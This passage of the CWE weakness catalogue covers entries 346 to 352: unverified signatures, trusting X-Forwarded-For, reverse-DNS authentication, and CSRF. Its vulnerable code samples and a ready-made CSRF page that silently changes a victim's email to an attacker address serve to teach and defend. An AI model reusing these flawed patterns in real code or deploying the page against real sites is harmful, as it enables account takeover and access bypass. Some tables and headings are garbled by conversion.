<td>user ID obtained from untrusted source (URL)</td>
</tr>
</tbody>
</table>

#### Weakness Ordinalities

**Primary** *(where the weakness exists independent of other weaknesses)*

**Resultant** *(where the weakness is typically related to the presence of some other weaknesses)*

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>284</td>
<td>Improper Access Control</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>949</td>
<td>SFP Secondary Cluster: Faulty Endpoint Authentication</td>
<td>699</td>
</tr>
<tr>
<td>RequiredBy</td>
<td></td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>1000</td>
</tr>
<tr>
<td>RequiredBy</td>
<td></td>
<td>384</td>
<td>Session Fixation</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>451</td>
<td>User Interface (UI) Misrepresentation of Critical Information</td>
<td>1000</td>
</tr>
</tbody>
</table>

#### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Origin Validation Error</td>
</tr>
</tbody>
</table>

#### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>21</td>
<td>Exploitation of Trusted Credentials</td>
<td></td>
</tr>
<tr>
<td>59</td>
<td>Session Credential Falsification through Prediction</td>
<td></td>
</tr>
<tr>
<td>60</td>
<td>Reusing Session IDs (aka Session Replay)</td>
<td></td>
</tr>
<tr>
<td>75</td>
<td>Manipulating Writeable Configuration Files</td>
<td></td>
</tr>
<tr>
<td>76</td>
<td>Manipulating Web Input to File System Calls</td>
<td></td>
</tr>
<tr>
<td>89</td>
<td>Pharming</td>
<td></td>
</tr>
<tr>
<td>111</td>
<td>JSON Hijacking (aka JavaScript Hijacking)</td>
<td></td>
</tr>
<tr>
<td>141</td>
<td>Cache Poisoning</td>
<td></td>
</tr>
<tr>
<td>142</td>
<td>DNS Cache Poisoning</td>
<td></td>
</tr>
<tr>
<td>384</td>
<td>Application API Message Manipulation via Man-in-the-Middle</td>
<td></td>
</tr>
<tr>
<td>385</td>
<td>Transaction or Event Tampering via Application API Manipulation</td>
<td></td>
</tr>
<tr>
<td>386</td>
<td>Application API Navigation Remapping</td>
<td></td>
</tr>
<tr>
<td>387</td>
<td>Navigation Remapping To Propagate Malicious Content</td>
<td></td>
</tr>
<tr>
<td>388</td>
<td>Application API Button Hijacking</td>
<td></td>
</tr>
<tr>
<td>389</td>
<td>Content Spoofing Via Application API Manipulation</td>
<td></td>
</tr>
<tr>
<td>510</td>
<td>SaaS User Request Forgery</td>
<td></td>
</tr>
</tbody>
</table>

#### References


#### Maintenance Notes

This entry has some significant overlap with other CWE entries and may need some clarification. See terminology notes.
CWE-347: Improper Verification of Cryptographic Signature

Weakness ID: 347 (Weakness Base) Status: Draft

Description

Summary
The software does not verify, or incorrectly verifies, the cryptographic signature for data.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences

Access Control
Integrity
Confidentiality
Gain privileges / assume identity
Modify application data
Execute unauthorized code or commands
An attacker could gain access to sensitive data and possibly execute unauthorized code.

Demonstrative Examples

In the following code, a JarFile object is created from a downloaded file.

Java Example:  
```java
File f = new File(downloadedFilePath);
JarFile jf = new JarFile(f);
```

The JAR file that was potentially downloaded from an untrusted source is created without verifying the signature (if present). An alternate constructor that accepts a boolean verify parameter should be used instead.

Observed Examples

Reference  Description
CVE-2002-1706  Accepts a configuration file without a Message Integrity Check (MIC) signature.
CVE-2002-1796  Does not properly verify signatures for "trusted" entities.
CVE-2005-2181  Insufficient verification allows spoofing.
CVE-2005-2182  Insufficient verification allows spoofing.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>310</td>
<td>Cryptographic Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>859</td>
<td>CERT Java Secure Coding Section 14 - Platform Security (SEC)</td>
<td>844</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1301</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>959</td>
<td>SFP Secondary Cluster: Weak Cryptography</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1379</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Improperly Verified Signature</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SEC06-J</td>
<td>Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar</td>
</tr>
</tbody>
</table>

Related Attack Patterns
CAPEC-ID 463

**CWE-348: Use of Less Trusted Source**

**Weakness ID:** 348 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The software has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Access Control**

**Bypass protection mechanism**

**Gain privileges / assume identity**

An attacker could utilize the untrusted data source to bypass protection mechanisms and gain access to sensitive data.

**Demonstrative Examples**

This code attempts to limit the access of a page to certain IP Addresses. It checks the 'HTTP_X_FORWARDED_FOR' header in case an authorized user is sending the request through a proxy.

**PHP Example:** *Bad Code*

```php
$requestingIP = '0.0.0.0';
if (array_key_exists("HTTP_X_FORWARDED_FOR", $_SERVER)) {
    $requestingIP = $_SERVER["HTTP_X_FORWARDED_FOR"]; 
else{
    $requestingIP = $_SERVER["REMOTE_ADDR"];
}
if(in_array($requestingIP,$ipWhitelist)){
    generatePage();
    return;
} else{
    echo "You are not authorized to view this page";
    return;
}
```

The 'HTTP_X_FORWARDED_FOR' header can be user controlled and so should never be trusted. An attacker can falsify the header to gain access to the page.

This fixed code only trusts the 'REMOTE_ADDR' header and so avoids the issue:

**PHP Example:** *Good Code*

```php
$requestingIP = '0.0.0.0';
if (array_key_exists("HTTP_X_FORWARDED_FOR", $_SERVER)) {
    echo "This application cannot be accessed through a proxy.";
    return;
else{
    $requestingIP = $_SERVER["REMOTE_ADDR"]; 
}
...```

Be aware that 'REMOTE_ADDR' can still be spoofed. This may seem useless because the server will send the response to the fake address and not the attacker, but this may still be enough to conduct an attack. For example, if the generatePage() function in this code is resource intensive, an attacker could flood the server with fake requests using an authorized IP and consume...
significant resources. This could be a serious DoS attack even though the attacker would never see the page's sensitive content.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>BID:15326</td>
<td>Similar to CVE-2004-1950</td>
</tr>
<tr>
<td>CVE-2001-0860</td>
<td>Product uses IP address provided by a client, instead of obtaining it from the packet headers, allowing easier spoofing.</td>
</tr>
<tr>
<td>CVE-2001-0908</td>
<td>Product logs IP address specified by the client instead of obtaining it from the packet headers, allowing information hiding.</td>
</tr>
<tr>
<td>CVE-2004-1950</td>
<td>Web product uses the IP address in the X-Forwarded-For HTTP header instead of a server variable that uses the connecting IP address, allowing filter bypass.</td>
</tr>
<tr>
<td>CVE-2006-1126</td>
<td>PHP application uses IP address from X-Forwarded-For HTTP header, instead of REMOTE_ADDR.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>699</td>
<td>601</td>
</tr>
<tr>
<td>ChildOf</td>
<td>975</td>
<td>SFP Secondary Cluster: Architecture</td>
<td>888</td>
<td>1386</td>
</tr>
<tr>
<td>MemberOf</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td>1323</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Use of Less Trusted Source</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>73</td>
<td>User-Controlled Filename</td>
<td></td>
</tr>
<tr>
<td>76</td>
<td>Manipulating Web Input to File System Calls</td>
<td></td>
</tr>
<tr>
<td>85</td>
<td>AJAX Fingerprinting</td>
<td></td>
</tr>
<tr>
<td>141</td>
<td>Cache Poisoning</td>
<td></td>
</tr>
<tr>
<td>142</td>
<td>DNS Cache Poisoning</td>
<td></td>
</tr>
</tbody>
</table>

**CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data**

**Weakness ID:** 349 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The software, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Access Control**

**Integrity**

**Bypass protection mechanism**

**Modify application data**

An attacker could package untrusted data with trusted data to bypass protection mechanisms to gain access to and possibly modify sensitive data.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0018</td>
<td>Does not verify that trusted entity is authoritative for all entities in its response.</td>
</tr>
</tbody>
</table>
CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action

**Weakness ID:** 350 *(Weakness Variant)*  
**Status:** Draft

**Description**

**Summary**

The software performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.

**Extended Description**

Since DNS names can be easily spoofed or misreported, and it may be difficult for the software to detect if a trusted DNS server has been compromised, DNS names do not constitute a valid authentication mechanism.

When the software performs a reverse DNS resolution for an IP address, if an attacker controls the server for that IP address, then the attacker can cause the server to return an arbitrary hostname. As a result, the attacker may be able to bypass authentication, cause the wrong hostname to be recorded in log files to hide activities, or perform other attacks.

Attackers can spoof DNS names by either (1) compromising a DNS server and modifying its records (sometimes called DNS cache poisoning), or (2) having legitimate control over a DNS server associated with their IP address.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

- **Languages**
  - Language-independent

**Common Consequences**

- **Access Control**
  - Gain privileges / assume identity
  - Bypass protection mechanism

Malicious users can fake authentication information by providing false DNS information.

**Demonstrative Examples**

**Example 1:**

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host.
CWE Version 2.11
CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action

C Example:

```c
struct hostent *hp; struct in_addr myaddr; char *tHost = "trustme.example.com";
myaddr.s_addr = inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

Java Example:

```java
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

C# Example:

```csharp
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```

If an attacker can poison the DNS cache, they can gain trusted status.

Example 2:

In these examples, a connection is established if a request is made by a trusted host.

C/C++ Example:

```c
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clilen = sizeof(cli);
    h=gethostbyname(inet_ntoa(cliAddr.sin_addr));
    if (h->h_name==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
```

Java Example:

```java
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress IPAddress = rp.getAddress();
    int port = rp.getPort();
    if ((rp.getHostAddress()==...) & (in==...)) {
        out = secret.getBytes();
        DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port);
        outSock.send(sp);
    }
}
```

These examples check if a request is from a trusted host before responding to a request, but the code only verifies the hostname as stored in the request packet. An attacker can spoof the hostname, thus impersonating a trusted client.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-1221</td>
<td>Authentication bypass using spoofed reverse-resolved DNS hostnames.</td>
</tr>
<tr>
<td>CVE-2001-1155</td>
<td>Filter does not properly check the result of a reverse DNS lookup, which could allow remote attackers to bypass intended access restrictions via DNS spoofing.</td>
</tr>
<tr>
<td>CVE-2001-1488</td>
<td>Does not do double-reverse lookup to prevent DNS spoofing.</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-351: Insufficient Type Distinction

### Reference

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1500</td>
<td>Does not verify reverse-resolved hostnames in DNS.</td>
</tr>
<tr>
<td>CVE-2002-0804</td>
<td>Authentication bypass using spoofed reverse-resolved DNS hostnames.</td>
</tr>
<tr>
<td>CVE-2003-0981</td>
<td>Product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS.</td>
</tr>
<tr>
<td>CVE-2004-0892</td>
<td>Reverse DNS lookup used to spoof trusted content in intermediary.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

**Architecture and Design**

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

**Implementation**

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>227</td>
<td>Improper Fulfillment of API Contract (‘API Abuse’)</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>290</td>
<td>Authentication Bypass by Spoofing</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>923</td>
<td>Improper Restriction of Communication Channel to Intended Endpoints</td>
<td>1000</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>923</td>
<td>Improper Restriction of Communication Channel to Intended Endpoints</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>949</td>
<td>SFP Secondary Cluster: Faulty Endpoint Authentication</td>
<td>888</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Improperly Trusted Reverse DNS</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td>Trusting self-reported DNS name</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP29</td>
<td>Faulty endpoint authentication</td>
</tr>
</tbody>
</table>

### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>73</td>
<td>User-Controlled Filename</td>
<td></td>
</tr>
<tr>
<td>89</td>
<td>Pharming</td>
<td></td>
</tr>
<tr>
<td>142</td>
<td>DNS Cache Poisoning</td>
<td></td>
</tr>
<tr>
<td>275</td>
<td>DNS Rebinding</td>
<td></td>
</tr>
</tbody>
</table>

### References


### Maintenance Notes

CWE-350, CWE-247, and CWE-292 were merged into CWE-350 in CWE 2.5. CWE-247 was originally derived from Seven Pernicious Kingdoms, CWE-350 from PLOVER, and CWE-292 from CLASP. All taxonomies focused closely on the use of reverse DNS for authentication of incoming requests.

### CWE-351: Insufficient Type Distinction

**Weakness ID:** 351 *(Weakness Base)*  
**Status:** Draft

**Description**

**Summary**

The software does not properly distinguish between different types of elements in a way that leads to insecure behavior.
CWE-352: Cross-Site Request Forgery (CSRF)

Time of Introduction
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
Other
Other

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-2260</td>
<td>Browser user interface does not distinguish between user-initiated and synthetic events.</td>
</tr>
<tr>
<td>CVE-2005-2801</td>
<td>Product does not compare all required data in two separate elements, causing it to think they are the same, leading to loss of ACLs. Similar to Same Name error.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>699 601</td>
<td></td>
</tr>
<tr>
<td>PeerOf</td>
<td>436</td>
<td>Interpretation Conflict</td>
<td>1000 751</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>993</td>
<td>SFP Secondary Cluster: Incorrect Input Handling</td>
<td>888 1395</td>
<td></td>
</tr>
<tr>
<td>PeerOf</td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
<td>1000 744</td>
<td></td>
</tr>
</tbody>
</table>

Relationship Notes
- Overlaps others, e.g. Multiple Interpretation Errors.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Insufficient Type Distinction</td>
</tr>
</tbody>
</table>

CWE-352: Cross-Site Request Forgery (CSRF)

Description

Summary
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

Extended Description
When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution.

Alternate Terms
- Session Riding
- Cross Site Reference Forgery
- XSRF

Time of Introduction
- Architecture and Design

Applicable Platforms

Languages
- Language-independent

Technology Classes
- Web-Server

Common Consequences
Confidentiality
Integrity
Availability
Non-Repudiation
Access Control
Gain privileges / assume identity
Bypass protection mechanism
Read application data
Modify application data
DoS: crash / exit / restart

The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of CSRF is limited only by the victim's privileges.

Likelihood of Exploit
Medium to High

Detection Methods
Manual Analysis
High
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.
Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis
Limited
CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.

Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Dynamic Analysis with automated results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction

Demonstrative Examples
This example PHP code attempts to secure the form submission process by validating that the user submitting the form has a valid session. A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists.

The following HTML is intended to allow a user to update a profile.

**HTML Example:**
```
<form action="/url/profile.php" method="post">
    <input type="text" name="firstname"/>
    <input type="text" name="lastname"/>
    <br/>
    <input type="text" name="email"/>
    <input type="submit" name="submit" value="Update"/>
</form>
```

profile.php contains the following code.

**PHP Example:**
```
// initiate the session in order to validate sessions
session_start();
// if the session is registered to a valid user then allow update
if (!session_is_registered("username")) {
    echo "invalid session detected!";
    // Redirect user to login page
    [...] exit;
}
CWE-352: Cross-Site Request Forgery (CSRF)

This code may look protected since it checks for a valid session. However, CSRF attacks can be staged from virtually any tag or HTML construct, including image tags, links, embed or object tags, or other attributes that load background images.

The attacker can then host code that will silently change the username and email address of any user that visits the page while remaining logged in to the target web application. The code might be an innocent-looking web page such as:

**HTML Example:**

```
<html>
<head>
<script>
function SendAttack () {
    form.email = "attacker@example.com";
    // send to profile.php
    form.submit();
}
</script>
</head>
<body onload="javascript:SendAttack();">
<form action="http://victim.example.com/profile.php" id="form" method="post">
<input type="hidden" name="firstname" value="Funny">
<input type="hidden" name="lastname" value="Joke">
<br/>
<input type="hidden" name="email">
</form>
</body>
</html>
```

Notice how the form contains hidden fields, so when it is loaded into the browser, the user will not notice it. Because SendAttack() is defined in the body's onload attribute, it will be automatically called when the victim loads the web page.

Assuming that the user is already logged in to victim.example.com, profile.php will see that a valid user session has been established, then update the email address to the attacker's own address. At this stage, the user's identity has been compromised, and messages sent through this profile could be sent to the attacker's address.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-1703</td>
<td>Add user accounts via a URL in an img tag</td>
</tr>
<tr>
<td>CVE-2004-1842</td>
<td>Gain administrative privileges via a URL in an img tag</td>
</tr>
<tr>
<td>CVE-2004-1967</td>
<td>Arbitrary code execution by specifying the code in a crafted img tag or URL</td>
</tr>
<tr>
<td>CVE-2004-1995</td>
<td>Add user accounts via a URL in an img tag</td>
</tr>
<tr>
<td>CVE-2005-1674</td>
<td>Perform actions as administrator via a URL or an img tag</td>
</tr>
<tr>
<td>CVE-2005-1947</td>
<td>Delete a victim's information via a URL or an img tag</td>
</tr>
<tr>
<td>CVE-2005-2059</td>
<td>Change another user's settings via a URL or an img tag</td>
</tr>
<tr>
<td>CVE-2009-3022</td>
<td>CMS allows modification of configuration via CSRF attack against the admin</td>
</tr>
<tr>
<td>CVE-2009-3520</td>
<td>modify password for the administrator</td>
</tr>
<tr>
<td>CVE-2009-3759</td>
<td>web interface allows password changes or stopping a virtual machine via CSRF</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, use anti-CSRF packages such as the OWASP CSRFGuard. [R.352.3]

Another example is the ESAPI Session Management control, which includes a component for CSRF. [R.352.9]
Implementation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Architecture and Design
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [R.352.5]
Note that this can be bypassed using XSS (CWE-79).

Architecture and Design
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Note that this can be bypassed using XSS (CWE-79).

Architecture and Design
Use the "double-submitted cookie" method as described by Felten and Zeller:
When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [R.352.4]
Note that this can probably be bypassed using XSS (CWE-79), or when using web technologies that enable the attacker to read raw headers from HTTP requests.

Architecture and Design
Do not use the GET method for any request that triggers a state change.

Implementation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
Note that this can be bypassed using XSS (CWE-79). An attacker could use XSS to generate a spoofed Referer, or to generate a malicious request from a page whose Referer would be allowed.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>345</td>
<td>Insufficient Verification of Data Authenticity</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>Requires</td>
<td>B</td>
<td>346</td>
<td>Origin Validation Error</td>
<td>1000</td>
</tr>
<tr>
<td>Requires</td>
<td>B</td>
<td>441</td>
<td>Unintended Proxy or Intermediary (&quot;Confused Deputy&quot;)</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>442</td>
<td>Web Problems</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>757</td>
</tr>
<tr>
<td>Requires</td>
<td>B</td>
<td>613</td>
<td>Insufficient Session Expiration</td>
<td>1000</td>
</tr>
<tr>
<td>Requires</td>
<td>B</td>
<td>642</td>
<td>External Control of Critical State Data</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>716</td>
<td>OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)</td>
<td>629</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1116</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>751</td>
<td>2009 Top 25 - Insecure Interaction Between Components</td>
<td>750</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1145</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>801</td>
<td>2010 Top 25 - Insecure Interaction Between Components</td>
<td>800</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1231</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>814</td>
<td>OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery (CSRF)</td>
<td>809</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1250</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>864</td>
<td>2011 Top 25 - Insecure Interaction Between Components</td>
<td>900</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1312</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>936</td>
<td>OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)</td>
<td>928</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1365</td>
</tr>
</tbody>
</table>
**Nature** | **Type** | **ID** | **Name** | **Page**
---|---|---|---|---
